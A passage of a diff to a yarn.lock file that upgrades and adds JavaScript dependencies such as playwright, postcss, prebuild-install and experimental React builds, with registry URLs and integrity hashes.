   resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f"
   integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==
@@ -6272,6 +6899,18 @@ no-case@^3.0.4:
     lower-case "^2.0.2"
     tslib "^2.0.3"
 
+node-abi@^3.3.0:
+  version "3.74.0"
+  resolved "https://registry.yarnpkg.com/node-abi/-/node-abi-3.74.0.tgz#5bfb4424264eaeb91432d2adb9da23c63a301ed0"
+  integrity sha512-c5XK0MjkGBrQPGYG24GBADZud0NCbznxNx0ZkS+ebUTrmV1qTDxPxSL8zEAPURXSbLRWVexxmP4986BziahL5w==
+  dependencies:
+    semver "^7.3.5"
+
+node-addon-api@^7.0.0:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-7.1.1.tgz#1aba6693b0f255258a049d621329329322aad558"
+  integrity sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==
+
 node-int64@^0.4.0:
   version "0.4.0"
   resolved "https://registry.yarnpkg.com/node-int64/-/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b"
@@ -6282,16 +6921,16 @@ node-releases@^1.0.0-alpha.12:
   dependencies:
     semver "^5.3.0"
 
-node-releases@^1.1.67:
-  version "1.1.67"
-  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.67.tgz#28ebfcccd0baa6aad8e8d4d8fe4cbc49ae239c12"
-  integrity sha512-V5QF9noGFl3EymEwUYzO+3NTDpGfQB4ve6Qfnzf3UNydMhjQRVPR1DZTuvWiLzaFJYw2fmDwAfnRNEVb64hSIg==
-
 node-releases@^2.0.12:
   version "2.0.12"
   resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.12.tgz#35627cc224a23bfb06fb3380f2b3afaaa7eb1039"
   integrity sha512-QzsYKWhXTWx8h1kIvqfnC++o0pEmpRQA/aenALsL2F4pqNVr7YzcdMlDij5WBnwftRbJCNJL/O7zdKaxKPHqgQ==
 
+node-releases@^2.0.18:
+  version "2.0.18"
+  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.18.tgz#f010e8d35e2fe8d6b2944f03f70213ecedc4ca3f"
+  integrity sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==
+
 node-releases@^2.0.6:
   version "2.0.6"
   resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.6.tgz#8a7088c63a55e493845683ebf3c828d8c51c5503"
@@ -6313,13 +6952,6 @@ nodemon@^2.0.19:
     touch "^3.1.0"
     undefsafe "^2.0.5"
 
-nopt@~1.0.10:
-  version "1.0.10"
-  resolved "https://registry.yarnpkg.com/nopt/-/nopt-1.0.10.tgz#6ddd21bd2a31417b92727dd585f8a6f37608ebee"
-  integrity sha512-NWmpvLSqUrgrAC9HCuxEvb+PSloHpqVu+FqcO4eeF2h5qYRhA7ev6KvelyQAKtegUbC6RypJnlEOhd8vloNKYg==
-  dependencies:
-    abbrev "1"
-
 normalize-path@^3.0.0, normalize-path@~3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
@@ -6358,20 +6990,25 @@ nwsapi@^2.2.0:
   resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.0.tgz#204879a9e3d068ff2a55139c2c772780681a38b7"
   integrity sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ==
 
+object-assign@^4.0.1:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
+  integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==
+
 object-hash@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/object-hash/-/object-hash-3.0.0.tgz#73f97f753e7baffc0e2cc9d6e079079744ac82e9"
   integrity sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==
 
+object-inspect@^1.13.1:
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.2.tgz#dea0088467fb991e67af4058147a24824a3043ff"
+  integrity sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==
+
 object-inspect@^1.6.0:
   version "1.6.0"
   resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.6.0.tgz#c70b6cbf72f274aab4c34c0c82f5167bf82cf15b"
 
-object-inspect@^1.9.0:
-  version "1.12.2"
-  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.12.2.tgz#c0641f26394532f28ab8d796ab954e43c009a8ea"
-  integrity sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ==
-
 object-keys@^1.0.11, object-keys@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
@@ -6389,12 +7026,28 @@ object.assign@^4.1.0:
     has-symbols "^1.0.0"
     object-keys "^1.0.11"
 
-object.getownpropertydescriptors@^2.0.3:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.0.3.tgz#8758c846f5b407adab0f236e0986f14b051caa16"
+object.assign@^4.1.5:
+  version "4.1.5"
+  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.5.tgz#3a833f9ab7fdb80fc9e8d2300c803d216d8fdbb0"
+  integrity sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==
   dependencies:
-    define-properties "^1.1.2"
-    es-abstract "^1.5.1"
+    call-bind "^1.0.5"
+    define-properties "^1.2.1"
+    has-symbols "^1.0.3"
+    object-keys "^1.1.1"
+
+object.getownpropertydescriptors@^2.1.0:
+  version "2.1.8"
+  resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.8.tgz#2f1fe0606ec1a7658154ccd4f728504f69667923"
+  integrity sha512-qkHIGe4q0lSYMv0XI4SsBTJz3WaURhLvd0lKSgtVuOsJ2krg4SgMw3PIRQFMp07yi++UR3se2mkcLqsBNpBb/A==
+  dependencies:
+    array.prototype.reduce "^1.0.6"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+    gopd "^1.0.1"
+    safe-array-concat "^1.1.2"
 
 object.values@^1.1.0:
   version "1.1.0"
@@ -6417,7 +7070,7 @@ on-headers@~1.0.2:
   resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f"
   integrity sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==
 
-once@^1.3.0:
+once@^1.3.0, once@^1.3.1, once@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
   dependencies:
@@ -6494,6 +7147,11 @@ p-try@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.0.0.tgz#85080bb87c64688fa47996fe8f7dfbe8211760b1"
 
+package-json-from-dist@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/package-json-from-dist/-/package-json-from-dist-1.0.0.tgz#e501cd3094b278495eb4258d4c9f6d5ac3019f00"
+  integrity sha512-dATvCeZN/8wQsGywez1mzHtTlP22H8OEfPrVMLNr4/eGa+ijtLn/6M5f0dY8UKNrC2O9UCU6SSoG3qRKnt7STw==
+
 param-case@^3.0.4:
   version "3.0.4"
   resolved "https://registry.yarnpkg.com/param-case/-/param-case-3.0.4.tgz#7d17fe4aa12bde34d4a77d91acfb6219caad01c5"
@@ -6559,15 +7217,19 @@ path-key@^3.0.0, path-key@^3.1.0:
   resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
   integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
 
-path-parse@^1.0.5, path-parse@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.6.tgz#d62dbb5679405d72c4737ec58600e9ddcf06d24c"
-
 path-parse@^1.0.7:
   version "1.0.7"
   resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
   integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
 
+path-scurry@^1.11.1:
+  version "1.11.1"
+  resolved "https://registry.yarnpkg.com/path-scurry/-/path-scurry-1.11.1.tgz#7960a668888594a0720b12a911d1a742ab9f11d2"
+  integrity sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==
+  dependencies:
+    lru-cache "^10.2.0"
+    minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
+
 path-type@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/path-type/-/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b"
@@ -6583,6 +7245,11 @@ picocolors@^1.0.0:
   resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.0.0.tgz#cb5bdc74ff3f51892236eaf79d68bc44564ab81c"
   integrity sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==
 
+picocolors@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.0.1.tgz#a8ad579b571952f0e5d25892de5445bcfe25aaa1"
+  integrity sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew==
+
 picomatch@^2.0.4, picomatch@^2.2.1:
   version "2.2.2"
   resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.2.2.tgz#21f333e9b6b8eaff02468f5146ea406d345f4dad"
@@ -6598,6 +7265,11 @@ pify@^2.3.0:
   resolved "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
   integrity sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==
 
+pirates@^4.0.1:
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.6.tgz#3018ae32ecfcff6c29ba2267cbf21166ac1f36b9"
+  integrity sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==
+
 pirates@^4.0.4:
   version "4.0.5"
   resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.5.tgz#feec352ea5c3268fb23a37c702ab1699f35a5f3b"
@@ -6617,20 +7289,25 @@ pkg-up@^3.1.0:
   dependencies:
     find-up "^3.0.0"
 
-playwright-core@1.41.2:
-  version "1.41.2"
-  resolved "https://registry.yarnpkg.com/playwright-core/-/playwright-core-1.41.2.tgz#db22372c708926c697acc261f0ef8406606802d9"
-  integrity sha512-VaTvwCA4Y8kxEe+kfm2+uUUw5Lubf38RxF7FpBxLPmGe5sdNkSg5e3ChEigaGrX7qdqT3pt2m/98LiyvU2x6CA==
+playwright-core@1.51.1:
+  version "1.51.1"
+  resolved "https://registry.yarnpkg.com/playwright-core/-/playwright-core-1.51.1.tgz#d57f0393e02416f32a47cf82b27533656a8acce1"
+  integrity sha512-/crRMj8+j/Nq5s8QcvegseuyeZPxpQCZb6HNk3Sos3BlZyAknRjoyJPFWkpNn8v0+P3WiwqFF8P+zQo4eqiNuw==
 
-playwright@1.41.2:
-  version "1.41.2"
-  resolved "https://registry.yarnpkg.com/playwright/-/playwright-1.41.2.tgz#4e760b1c79f33d9129a8c65cc27953be6dd35042"
-  integrity sha512-v0bOa6H2GJChDL8pAeLa/LZC4feoAMbSQm1/jF/ySsWWoaNItvrMP7GEkvEEFyCTUYKMxjQKaTSg5up7nR6/8A==
+playwright@1.51.1:
+  version "1.51.1"
+  resolved "https://registry.yarnpkg.com/playwright/-/playwright-1.51.1.tgz#ae1467ee318083968ad28d6990db59f47a55390f"
+  integrity sha512-kkx+MB2KQRkyxjYPc3a0wLZZoDczmppyGJIvQ43l+aZihkaVvmu/21kiyaHeHjiFxjxNNFnUncKmcGIyOojsaw==
   dependencies:
-    playwright-core "1.41.2"
+    playwright-core "1.51.1"
   optionalDependencies:
     fsevents "2.3.2"
 
+possible-typed-array-names@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz#89bb63c6fada2c3e90adc4a647beeeb39cc7bf8f"
+  integrity sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==
+
 postcss-attribute-case-insensitive@^5.0.2:
   version "5.0.2"
   resolved "https://registry.yarnpkg.com/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz#03d761b24afc04c09e757e92ff53716ae8ea2741"
@@ -6796,10 +7473,10 @@ postcss-image-set-function@^4.0.7:
   dependencies:
     postcss-value-parser "^4.2.0"
 
-postcss-import@^14.1.0:
-  version "14.1.0"
-  resolved "https://registry.yarnpkg.com/postcss-import/-/postcss-import-14.1.0.tgz#a7333ffe32f0b8795303ee9e40215dac922781f0"
-  integrity sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==
+postcss-import@^15.1.0:
+  version "15.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-import/-/postcss-import-15.1.0.tgz#41c64ed8cc0e23735a9698b3249ffdbf704adc70"
+  integrity sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==
   dependencies:
     postcss-value-parser "^4.0.0"
     read-cache "^1.0.0"
@@ -6810,10 +7487,10 @@ postcss-initial@^4.0.1:
   resolved "https://registry.yarnpkg.com/postcss-initial/-/postcss-initial-4.0.1.tgz#529f735f72c5724a0fb30527df6fb7ac54d7de42"
   integrity sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==
 
-postcss-js@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-js/-/postcss-js-4.0.0.tgz#31db79889531b80dc7bc9b0ad283e418dce0ac00"
-  integrity sha512-77QESFBwgX4irogGVPgQ5s07vLvFqWr228qZY+w6lW599cRlK/HmnlivnnVUxkjHnCu4J16PDMHcH+e+2HbvTQ==
+postcss-js@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/postcss-js/-/postcss-js-4.0.1.tgz#61598186f3703bab052f1c4f7d805f3991bee9d2"
+  integrity sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==
   dependencies:
     camelcase-css "^2.0.1"
 
@@ -6825,13 +7502,13 @@ postcss-lab-function@^4.2.1:
     "@csstools/postcss-progressive-custom-properties" "^1.1.0"
     postcss-value-parser "^4.2.0"
 
-postcss-load-config@^3.1.4:
-  version "3.1.4"
-  resolved "https://registry.yarnpkg.com/postcss-load-config/-/postcss-load-config-3.1.4.tgz#1ab2571faf84bb078877e1d07905eabe9ebda855"
-  integrity sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==
+postcss-load-config@^4.0.1:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/postcss-load-config/-/postcss-load-config-4.0.2.tgz#7159dcf626118d33e299f485d6afe4aff7c4a3e3"
+  integrity sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==
   dependencies:
-    lilconfig "^2.0.5"
-    yaml "^1.10.2"
+    lilconfig "^3.0.0"
+    yaml "^2.3.4"
 
 postcss-loader@^6.2.1:
   version "6.2.1"
@@ -6930,12 +7607,12 @@ postcss-modules-values@^4.0.0:
   dependencies:
     icss-utils "^5.0.0"
 
-postcss-nested@5.0.6:
-  version "5.0.6"
-  resolved "https://registry.yarnpkg.com/postcss-nested/-/postcss-nested-5.0.6.tgz#466343f7fc8d3d46af3e7dba3fcd47d052a945bc"
-  integrity sha512-rKqm2Fk0KbA8Vt3AdGN0FB9OBOMDVajMG6ZCf/GoHgdxUJ4sBFp0A/uMIRm+MJUdo33YXEtjqIz8u7DAp8B7DA==
+postcss-nested@^6.0.1:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-nested/-/postcss-nested-6.2.0.tgz#4c2d22ab5f20b9cb61e2c5c5915950784d068131"
+  integrity sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==
   dependencies:
-    postcss-selector-parser "^6.0.6"
+    postcss-selector-parser "^6.1.1"
 
 postcss-nesting@^10.1.10:
   version "10.1.10"
@@ -7138,7 +7815,7 @@ postcss-selector-not@^6.0.1:
   dependencies:
     postcss-selector-parser "^6.0.10"
 
-postcss-selector-parser@^6.0.10, postcss-selector-parser@^6.0.4, postcss-selector-parser@^6.0.5, postcss-selector-parser@^6.0.6, postcss-selector-parser@^6.0.9:
+postcss-selector-parser@^6.0.10, postcss-selector-parser@^6.0.4, postcss-selector-parser@^6.0.5, postcss-selector-parser@^6.0.9:
   version "6.0.10"
   resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz#79b61e2c0d1bfc2602d549e11d0876256f8df88d"
   integrity sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==
@@ -7146,6 +7823,14 @@ postcss-selector-parser@^6.0.10, postcss-selector-parser@^6.0.4, postcss-selecto
     cssesc "^3.0.0"
     util-deprecate "^1.0.2"
 
+postcss-selector-parser@^6.0.11, postcss-selector-parser@^6.1.1:
+  version "6.1.2"
+  resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz#27ecb41fb0e3b6ba7a1ec84fff347f734c7929de"
+  integrity sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==
+  dependencies:
+    cssesc "^3.0.0"
+    util-deprecate "^1.0.2"
+
 postcss-selector-parser@^6.0.2:
   version "6.0.4"
   resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz#56075a1380a04604c38b063ea7767a129af5c2b3"
@@ -7189,7 +7874,7 @@ postcss@^7.0.35:
     picocolors "^0.2.1"
     source-map "^0.6.1"
 
-postcss@^8.3.5, postcss@^8.4.14, postcss@^8.4.4, postcss@^8.4.7:
+postcss@^8.3.5, postcss@^8.4.4, postcss@^8.4.7:
   version "8.4.16"
   resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.16.tgz#33a1d675fac39941f5f445db0de4db2b6e01d43c"
   integrity sha512-ipHE1XBvKzm5xI7hiHCZJCSugxvsdq2mPnsq5+UF+VHCjiBvtDrlxJfMBToWaP9D5XlgNmcFGqoHmUn0EYEaRQ==
@@ -7198,6 +7883,33 @@ postcss@^8.3.5, postcss@^8.4.14, postcss@^8.4.4, postcss@^8.4.7:
     picocolors "^1.0.0"
     source-map-js "^1.0.2"
 
+postcss@^8.4.23:
+  version "8.4.41"
+  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.41.tgz#d6104d3ba272d882fe18fc07d15dc2da62fa2681"
+  integrity sha512-TesUflQ0WKZqAvg52PWL6kHgLKP6xB6heTOdoYM0Wt2UHyxNa4K25EZZMgKns3BH1RLVbZCREPpLY0rhnNoHVQ==
+  dependencies:
+    nanoid "^3.3.7"
+    picocolors "^1.0.1"
+    source-map-js "^1.2.0"
+
+prebuild-install@^7.1.1:
+  version "7.1.3"
+  resolved "https://registry.yarnpkg.com/prebuild-install/-/prebuild-install-7.1.3.tgz#d630abad2b147443f20a212917beae68b8092eec"
+  integrity sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug==
+  dependencies:
+    detect-libc "^2.0.0"
+    expand-template "^2.0.3"
+    github-from-package "0.0.0"
+    minimist "^1.2.3"
+    mkdirp-classic "^0.5.3"
+    napi-build-utils "^2.0.0"
+    node-abi "^3.3.0"
+    pump "^3.0.0"
+    rc "^1.2.7"
+    simple-get "^4.0.0"
+    tar-fs "^2.0.0"
+    tunnel-agent "^0.6.0"
+
 prelude-ls@~1.1.2:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
@@ -7254,6 +7966,14 @@ pstree.remy@^1.1.8:
   resolved "https://registry.yarnpkg.com/pstree.remy/-/pstree.remy-1.1.8.tgz#c242224f4a67c21f686839bbdb4ac282b8373d3a"
   integrity sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w==
 
+pump@^3.0.0:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.2.tgz#836f3edd6bc2ee599256c924ffe0d88573ddcbf8"
+  integrity sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==
+  dependencies:
+    end-of-stream "^1.1.0"
+    once "^1.3.1"
+
 punycode@^2.1.0:
   version "2.3.0"
   resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.0.tgz#f67fa67c94da8f4d0cfff981aee4118064199b8f"
@@ -7274,10 +7994,15 @@ qs@6.11.0:
   dependencies:
     side-channel "^1.0.4"
 
-quick-lru@^5.1.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/quick-lru/-/quick-lru-5.1.1.tgz#366493e6b3e42a3a6885e2e99d18f80fb7a8c932"
-  integrity sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==
+querystringify@^2.1.1:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/querystringify/-/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
+  integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==
+
+queue-microtask@^1.2.2:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
+  integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
 
 randombytes@^2.1.0:
   version "2.1.0"
@@ -7300,6 +8025,16 @@ raw-body@2.5.1:
     iconv-lite "0.4.24"
     unpipe "1.0.0"
 
+rc@^1.2.7:
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/rc/-/rc-1.2.8.tgz#cd924bf5200a075b83c188cd6b9e211b7fc0d3ed"
+  integrity sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==
+  dependencies:
+    deep-extend "^0.6.0"
+    ini "~1.3.0"
+    minimist "^1.2.0"
+    strip-json-comments "~2.0.1"
+
 react-dev-utils@^12.0.1:
   version "12.0.1"
   resolved "https://registry.yarnpkg.com/react-dev-utils/-/react-dev-utils-12.0.1.tgz#ba92edb4a1f379bd46ccd6bcd4e7bc398df33e73"
@@ -7331,12 +8066,11 @@ react-dev-utils@^12.0.1:
     text-table "^0.2.0"
 
 react-dom@experimental:
-  version "0.0.0-experimental-6ff1733e6-20230225"
-  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-0.0.0-experimental-6ff1733e6-20230225.tgz#47c1e80f21230e6c650ba9e43d15fccd616441be"
-  integrity sha512-1vGCQDhmSOwBIb8QbTaSjBUysebPhl7WCcGuT6dW+HdlxFDvClL0M47K1e8kZWiuCkMUDjJaTlC4J32PgznbFw==
+  version "0.0.0-experimental-6ebfd5b0-20240818"
+  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-0.0.0-experimental-6ebfd5b0-20240818.tgz#8a0b45fc4d54d45442e5194edee0114a8132bc82"
+  integrity sha512-G+RipTMyLYgSz4lST+8RFzP/Zdl8JaW0iWq5Yk9nG/rkdT7riWQrrMG9ZpRAxpRbBbaZ8WIgZqX5JFvRcJjyDQ==
   dependencies:
-    loose-envify "^1.1.0"
-    scheduler "0.0.0-experimental-6ff1733e6-20230225"
+    scheduler "0.0.0-experimental-6ebfd5b0-20240818"
 
 react-error-overlay@^6.0.11:
   version "6.0.11"
@@ -7358,12 +8092,19 @@ react-refresh@^0.11.0:
   resolved "https://registry.yarnpkg.com/react-refresh/-/react-refresh-0.11.0.tgz#77198b944733f0f1f1a90e791de4541f9f074046"
   integrity sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==
 
-react@experimental:
-  version "0.0.0-experimental-6ff1733e6-20230225"
-  resolved "https://registry.yarnpkg.com/react/-/react-0.0.0-experimental-6ff1733e6-20230225.tgz#24bca9d60c6b3597f389e8bcd07e7b853dddc917"
-  integrity sha512-5syUtEwwbWzDHN84xNu9C9cciLW9sY4c19fG27EU5ApS1s+i7fFtS+KtyPMHU9S4eK0u65uQU3hWMqFvqzLHhw==
+react-server-dom-webpack@experimental:
+  version "0.0.0-experimental-b3a95caf-20250113"
+  resolved "https://registry.yarnpkg.com/react-server-dom-webpack/-/react-server-dom-webpack-0.0.0-experimental-b3a95caf-20250113.tgz#a2175829be7395acc4d25e0befbd92b233a764c6"
+  integrity sha512-/6/IP8sP/I1CKIBsXvuF3mQEO0Vw/Nu85QyNliCx+K6WT7plTbjpFlEnbJKWoZdh/9uQkG17IZZiGlOgExmjbA==
   dependencies:
-    loose-envify "^1.1.0"
+    acorn-loose "^8.3.0"
+    neo-async "^2.6.1"
+    webpack-sources "^3.2.0"
+
+react@experimental:
+  version "0.0.0-experimental-b3a95caf-20250113"
+  resolved "https://registry.yarnpkg.com/react/-/react-0.0.0-experimental-b3a95caf-20250113.tgz#3603103432922765869f3a95c31ff5ebcf68a2cb"
+  integrity sha512-Sx4o/oQ4+cxn9fFgfvrknlR0QSXl3sNztFM8P+4aazqXtLc6JM2zcQh5EBeJN9rZMPS3cPX/2gnDCD+bgwHSYw==
 
 read-cache@^1.0.0:
   version "1.0.0"
@@ -7372,6 +8113,15 @@ read-cache@^1.0.0:
   dependencies:
     pify "^2.3.0"
 
+readable-stream@^3.1.1, readable-stream@^3.4.0:
+  version "3.6.2"
+  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.2.tgz#56a9b36ea965c00c5a93ef31eb111a0f11056967"
